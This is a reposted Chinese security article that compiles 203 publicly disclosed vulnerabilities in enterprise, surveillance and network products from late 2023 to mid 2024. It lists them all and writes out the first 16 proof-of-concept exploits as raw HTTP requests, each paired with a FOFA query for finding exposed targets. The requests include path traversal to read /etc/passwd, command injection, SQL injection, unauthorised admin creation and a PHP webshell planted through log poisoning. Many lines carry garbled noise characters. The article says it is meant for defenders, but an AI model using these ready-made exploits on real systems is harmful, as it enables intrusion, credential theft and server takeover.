互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
5 G) R9 Y! c* S5 j7 N( M* ]! w以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
, u+ Y! k7 R9 r/ W
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
; e( J6 B7 N  d
5 q  H$ z. v; \' n安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
3 r+ W$ C6 e& _( c7 P
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
% f* ~& O3 o# V  h8 y3 Z
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
, K2 Z& |) J! f1 ?6 }$ O
6 j0 x6 b' F! E
3 F5 D; m8 `; A) Q声明
$ L- d# N  ]1 b. v# B' s! ?) [
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
& i) ]0 i7 Q1 N; B
! [0 I2 u. c! Y% m  {
0 k" _/ ^- ]. V, V
目录

( l' [' d8 H2 |6 R5 q, _5 P1 h01
& r4 G, L+ f/ }6 {
1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
0 k2 j6 s# e. o$ Y& i3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
1 _5 e% j& z+ ~% F, p6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
' O7 V/ l6 n, s8 ^8 x  ]6 O6 ?8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
; z$ O* c' s; a+ o11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
" W; N" ?8 t: |2 h  g, R* W" R12. Jorani < 1.0.2 远程命令执行
8 w7 s. T9 A5 O0 @  t13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
( d4 B7 o5 k% r3 a16. 红帆HFOffice医微云SQL注入
) c9 \+ z1 c9 s1 n7 q9 l+ f' k17. 大华 DSS itcBulletin SQL 注入
( F6 b1 e& ^# V4 C/ n18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
; a  Z1 O9 W! t7 A* E19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
- G& u! H) V7 L* r6 A( Y! ?* {% {0 h20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
& h1 T4 `6 m7 e5 V  [% p6 k# G9 x5 v% k23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
/ Y' |% }4 s2 j0 O$ t. K24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
( T0 I. K; _; E! G3 L8 U30. 用友NC importPml SQL注入
% P* Q  n& [- w5 x2 x31. 用友NC runStateServlet SQL注入
4 K4 |. K7 D4 A32. 用友NC complainbilldetail SQL注入
( y, \0 U- {2 w$ O# X! J33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
) l# ^, e5 k, X; n: N37. 用友NC-Cloud IUpdateService XXE
. w2 W0 b. A' x" y38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
- d) S( {8 o8 m* T8 @40. 用友U8-Cloud XChangeServlet XXE
) t: W$ _6 e! B$ |  ^41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
+ M! _3 k/ z, g9 m' y- p* k42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
: G# O' L' k+ L" l0 s' l8 R" b44. 用友GRP-U8 bx_dj_check.jsp SQL注入
: I6 N- y3 J. A9 y45. 用友GRP-U8 ufgovbank XXE
) l5 y6 v4 g/ @5 v. e46. 用友GRP-U8 sqcxIndex.jsp SQL注入
6 P& `- i- b# u6 A& z' E; ]7 s47. 用友GRP A++Cloud 政府财务云 任意文件读取
/ A, _- u5 ~4 G9 e& u, Z2 U" ?48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
  R! X' [0 V0 z! p53. 迪普 DPTech VPN Service 任意文件上传
, f4 D2 A2 b" T' \' `  s4 r54. 畅捷通T+ getstorewarehousebystore 远程代码执行
' h0 K; G4 z% K! {+ V% d$ z55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
9 n/ O! o. d1 {+ y  O57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
: K9 y9 O+ p* m" Y! p59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
$ T+ a8 x+ B/ d# h9 i+ d61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
* O( c% r3 `8 O62. IP-guard WebServer 远程命令执行
/ e# s3 f  c, m63. IP-guard WebServer任意文件读取
) o8 R) V0 l. ]; T* s* N64. 捷诚管理信息系统CWSFinanceCommon SQL注入
3 q' w: r% l; D65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
/ X' K. V" Q; x' e1 E70. 万户ezEIP success 命令执行
  A  F2 m0 o! C  x  ^7 N71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
  U1 V- A% R6 f, D: o72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
5 Y# g$ @+ [$ e7 Y$ c7 s7 v74. 致远M3-server 6_1sp1 反序列化RCE
, g9 m) d( P9 x$ D  n) ]2 h! i0 B75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
2 x5 K' ?! h; X  m76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
0 E% c! m9 s: _2 Y% m; {78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
  a- j. d7 k1 g80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
3 g' Q/ f6 G; _; h+ T( U81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
+ ~8 e* W4 `; N. [83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
5 _4 B: z' [8 x( u- X4 V9 w93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
; Z  l1 u7 v4 l3 l; }. R# N96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
- E5 z3 W; C. V8 S+ p5 H99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
" d6 d, U% k: z8 w+ `101. ivanti policy secure-22.6命令注入
$ y. I1 d" C4 M/ R) y4 T102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
) }6 u6 F- X: S( k# Q6 I; X5 T105. SpringBlade v3.2.0 export-user SQL 注入
' g/ `; B. a7 d8 A6 G106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
% _( |) M3 d4 Z  D2 R110. Goanywhere MFT 未授权创建管理员
  z! s9 \4 j& M111. WordPress Plugin HTML5 Video Player SQL注入
* w" A6 x- ?# ~112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
% f$ [) l: E5 p, r( T3 q1 y, B* t114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
# v4 p9 Z3 Z9 x; u0 K116. wordpress js-support-ticket文件上传
  M  \" B% r) o) D4 ^  c' L" W117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
; T7 ^5 b, r( j. Z119. 北京百绰智能S20后台sysmanageajax.php sql注入
. S/ b$ d6 r" C9 `5 h7 ?3 V120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
7 d4 L, J" E" K2 M% c123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
( C7 C& i6 U0 X( [; c128. Adobe ColdFusion 反序列化
1 w, J, _" ]6 G129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
8 |: U1 Y1 ^: w! y' W. M132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
6 W( D+ @7 V1 i; g" p  _' Q134. 网康NS-ASG应用安全网关index.php sql注入
! f+ C. v0 [! }. Z, W# d9 M2 W135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
) _7 O* s8 C8 n1 k2 K137. 福建科立迅通信指挥调度平台down_file.php sql注入
1 _0 m, f" F2 s; W. n138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
% o0 \8 G0 h, h# K( a141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
9 e: ^; |; B1 G. }142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
% h! ~* F9 Y! x144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
- A. @  G) q7 L3 W146. MajorDoMo thumb.php 未授权远程代码执行
: F" H2 v: C4 X  d2 Q5 p147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
% n. L! Y5 ?* K* p% ?151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
* u7 {9 \7 D/ `' `: U- D+ C153. gradio任意文件读取
1 b; r% Y# L( j0 n0 ^6 F+ m" I9 q9 c154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
4 w) u$ B7 o5 ~156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
2 h& c# Q6 V. b158. Mura-CMS-processAsyncObject存在SQL注入
. J8 n: @) R7 K) h- o5 ^" T2 S159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
7 J/ @) I; q8 t: J' W2 Y$ s, B# A- a161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
+ Y/ H+ g6 j# ^162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
. L# E: i1 ~8 N& n9 f6 Y3 u# N163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
7 f0 |! B+ i+ j) m$ o4 d# t3 M165. OrangeHRM 3.3.3 SQL 注入
0 t# H7 A. S. U! a166. 中成科信票务管理平台SeatMapHandler SQL注入
/ c& f4 D0 q" a/ \( _$ a9 h167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
4 `: x+ T. q5 j* c  x, ?169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
3 q/ c/ ^' g: g! ~5 B171. 通天星CMSV6车载定位监控平台 SQL注入
, `: {* `  M. W; j/ a/ r9 S172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
% E+ E2 [# |: Z3 j2 X' y174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
$ [, A9 f9 J: ?5 M2 U' |179. 建文工程管理系统存在任意文件读取
: c2 w3 f: W# X- {5 i, s; O180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
: d( E( M3 A3 s. r: J182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
2 g+ `0 N$ O. B4 k* D+ h# Y7 a184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
( ]; Y! H* L4 R: m* a185. 瑞友天翼应用虚拟化系统SQL注入
, h% l- T. b) r  X) n1 p186. F-logic DataCube3 SQL注入
9 s5 T. P5 l6 R" U  K187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
8 e# p5 ]+ s3 a  t193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
4 l. j2 N% O7 J5 l195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
6 V% Z' A/ p6 x1 G196. 河南省风速科技统一认证平台密码重置
2 d! Q# T8 |5 D! v6 d197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
  a8 a2 E2 M* k7 ~* T2 _2 c203. 红海云EHR PtFjk 文件上传
! w- s  w  k5 ]5 b( `3 ^) l) |
POC列表
& F, ]1 l' v, B* L5 x8 _, H
8 b9 v: D& |9 g+ Y+ n! ^02

1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
( _9 U# L; a$ o' d* JGET /mem_tracker HTTP/1.1
Host: URL
- M( d4 {/ R1 ^2 E1 f: T

' |4 r, s! ^) f6 {2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
4 U5 W/ A1 q+ GUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

: Y* I4 Z( f- g) f; N2 a- p
3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
+ f+ M- P3 @* \4 m4 [GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
6 _1 a& E! A6 Y3 M& _3 ^

4. EasyCVR视频管理平台存在任意用户添加
' M+ b7 G/ O' R' h! {$ P% f0 q% HFOFA ：title="EasyCVR"

1 Q% }) v& ^6 `( B# `$ `# fpassword更改为自己的密码md5
3 r/ p0 `% `9 I) jPOST /api/v1/adduser HTTP/1.1
+ ~3 z6 C- T6 X' \Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
$ x4 M  m" l9 m7 W  d2 w, L/ U* d2 M
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
% ^+ `. D* N# oGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
5 e; d. r4 T- }& j
: o+ T4 u, T7 e% o' c3 N# |
3 L# J% D% @, m5 Q$ _# i9 B9 n" C3 f6. 深信服 NGAF 任意文件读取
: A2 D5 ?. p& @  B  H# c# t2 t  QFOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
" ~+ Z% M) o' C% M/ v( p- U

- Z: Y/ g0 A3 F8 C7. 鸿运主动安全监控云平台任意文件下载
2 x# [* G; y* X3 D0 PFOFA：body="./open/webApi.html"
1 s$ {, ~0 ^, ]+ I5 L/ fGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
# X8 x( r: o( xHost:


8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
* G9 k$ M! I" jHost: x.x.x.x
, ?9 b' C/ I8 ?1 wCookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

+ x& S# D/ O7 P  y' `------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

* {$ G! ?8 B* W- ^%s
------WebKitFormBoundaryxbgjoytz
1 a  @0 z7 k7 a* i, m' CContent-Disposition: form-data; name="wifiRebootrange"
! U' l: n- m6 V3 M# T
8 u# J+ w3 W9 h& g% M6 X12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
+ F9 j/ g( Z) y) b
%s:
7 G+ E1 {) E$ s2 U; F------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
) }/ u8 \" e0 X- A
+ _  |5 X1 ]* h% K- @: `. x1 j
. D5 S+ }6 E3 ]- I. z1 ~------WebKitFormBoundaryxbgjoytz--
( F: `7 U7 W# Q7 {) m% ~

9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
2 a; G- d2 b. Q) ~+ rGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
8 y8 x. X5 R: U7 |* g" ^7 \) ~; v; g1 M
6 b* E' Q2 H0 O/ ]" l$ {
5 h$ j$ `7 s$ T4 U$ L+ e$ A  epayload为下列语句的二次Url编码
( ]$ C* [1 `, K' O' Q9 l
: o5 W2 h+ T; ]1 d& X& W' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

4 e# ~+ y) d8 T0 i1 p10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
: P! }+ A; E4 t3 xFOFA：icon_hash="953405444"
$ E4 V6 |7 f: q/ S
; p, I% d' `6 f2 _5 N4 |" V文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
0 ]" B' h8 n. i1 ^; ]Host: x.x.x.x:xx
$ w6 u$ ]- C" u4 w. _& L0 i4 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
* k3 K2 Z1 r- n" N9 Q9 I8 e5 f/ |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
6 h* }( d/ [- h1 kContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html
  k1 M) q# I5 E1 U
jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--


11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
% W2 a) x, ?0 f& e4 p( p# fGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
: m# _4 ^) H/ p% U, R4 sPragma: no-cache
) a6 n. w% V) j9 T; D  c3 a; mCache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
/ |  K4 p* c: w5 Z5 A1 lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
1 W4 _: |- b! y* n( RConnection: close
6 O# F7 w- X7 M( `
6 n% q. J, ?, Z; d
12. Jorani < 1.0.2 远程命令执行
8 X# U3 I2 H; W1 {1 h* vFOFA：title="Jorani"
第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip
$ q/ F3 p! _( n. q% k. v& ~

响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
3 N: v9 r$ `6 ?$ _Connection: close
Cache-Control: no-store, no-cache, must-revalidate
, @, F: Z+ l3 }! ]! I' XContent-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
1 U5 L& n4 R8 VExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
! A$ J) J$ y5 l" \5 z8 O5 j/ `Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
+ R$ G! Q' L1 B9 P

1 l! |4 s3 ^: y4 VPOST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
- N. `6 ^' c" }$ M& `; A/ ^' eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
7 I0 Z3 l  h! F( {Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
2 L( K- Q2 C3 `, k3 f6 G0 S* `Accept-Encoding: gzip

csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor



向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
+ I4 y1 N' g$ D( ]  V  a" p3 _8 N' jCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
6 Z$ G# V) ?- z) z* i3 d% LK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
' S$ x1 E6 s  F- j3 i# \7 ^, @. G

13. 红帆iOffice ioFileDown任意文件读取
8 Z& j/ ?1 j' z) f+ hFOFA：app="红帆-ioffice"
9 u8 u% @* h$ o7 @5 sGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
" Y1 |+ \9 s. WHost: x.x.x.x
  R+ B5 e8 R' p" Q& _User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
! |) O1 v# H  D& X7 s; xAccept-Encoding: gzip
! W+ c3 t. h  {( ]6 F2 \  x
1 {1 h% u, e4 o" S' A! b' `
* U/ I. D( ]/ w- j: o5 B2 g$ l14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
3 z5 a1 a( O' u+ |# h( H, L/ rGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
# B+ _$ W( T9 N9 z" D* m; CHost: x.x.x.x
* s; Q7 y) L( B; b5 \5 k: p5 a8 JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
7 W1 p/ d" P9 s5 c7 lAccept-Encoding: gzip
6 [; n4 U& O. i1 F9 i* {1 @
, @1 J2 k; \8 x3 f: G7 Z1 F' w
! l8 j6 q) n2 p0 I6 O15. 华夏ERP getAllList信息泄露
CVE-2024-0490
' R8 i( Q9 j5 cFOFA：body="jshERP-boot"
泄露内容包括用户名密码
/ E3 g* f/ ^$ K" p0 G  H! SGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
9 i0 ^8 T8 l0 U9 @. l  |! p- EHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
2 N" d& g5 O8 }0 K) uConnection: close
5 t0 o" P1 d9 w1 c, DAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
: [, G# W- b2 E0 l+ _sec-ch-ua-platform: Windows
3 ~1 p! y: n/ LAccept-Encoding: gzip
) S" ?+ e3 G1 w8 r6 |) Y
% g# g% R. Z2 `
16.  红帆HFOffice医微云SQL注入
) `& Y4 W: a2 H- t* j! C2 c9 aFOFA：title="HFOffice"
poc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
4 u  y* E, j$ ^. O, iHost: x.x.x.x
